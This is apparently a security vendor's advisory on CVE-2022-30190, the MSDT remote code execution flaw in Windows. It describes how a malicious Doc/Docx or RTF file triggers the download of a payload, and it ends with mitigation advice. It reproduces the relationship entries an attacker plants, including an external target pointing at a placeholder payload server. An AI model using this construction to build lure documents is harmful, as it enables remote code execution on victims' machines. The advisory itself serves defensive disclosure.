General Explanation

Type: Vulnerability

Vulnerable Platform: Windows

Vulnerable Versions: All Windows versions

Patch release date: 14, June 2022  

Vulnerable module: Microsoft Support Diagnostic Tool (MSDT)

Vulnerability type: Remote Code Execution

Risk Level: High (CVSS:3.1 7.8 / 7.0)

What is a Vulnerability?

In computer security, Vulnerability is a weak point in a platform that can be exploited by an intruder or malware and cause unauthorized access to the victim’s system. Vulnerabilities let intruders execute arbitrary commands, access to system’s memory, install malware and siphon data, and wipe and change enterprise and organizational critical information.

How an intruder uses CVE-2022-30190

The Doc/Docx contains malicious XML (document.xml.rels) and a malicious RTF, abusing the MSDT flaw to download and execute its malicious payload. As a result, the intruder first must lure the victim to somehow execute the document which normally happens through email. For RTF files, purely, viewing the file through Preview Pane is enough and the intruder can perform his malicious activity without even opening the file.

Technical explanation

Vulnerability details for Doc/Docx files

If the malicious file is extracted, you can view the following contents from the word/_rels/document.xml.rels:

file content

Figure 1- contents of the malicious XML file

The created items by the attacker are as follows:

1. Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject”

2. Target = “http://<payload_server>/payload.html!”

3. TargetMode = “External”

All the above actions cause Microsoft Office to automatically download a link from its malicious server (2nd option) that contains malicious payload in the form of the following figure and run it by msdt.exe process as a subset of opened office file.

Malicious payload

Figure 2- the form of the malicious payload which contains XML or RTF file and will be downloaded and executed when the client clicks on the link

The above figure is the main part of exploiting this vulnerability which uses a shame for ms-msdt to download PCWDiagnostic with IT_BrowsForFile parameters so it can recall the desired malicious payloads.

Details of vulnerability for RTF files

In the following you can view the changes that occur in an RTF file containing vulnerability:


Figure 3- The malicious part of the RTF file

Note: the above link (in the Figure) points to the malicious payload (Figure 2).

Security measures

How to mitigate and disinfect the system

Padvish Antivirus detects and removes these types of vulnerabilities. Padvish IPS (Intrusion Prevention System) detects and prevents all endeavors to break into the system through this vulnerability. To prevent any possible infection due to the files that use this flaw, it is recommended to use Microsoft-released Patch for this vulnerability.

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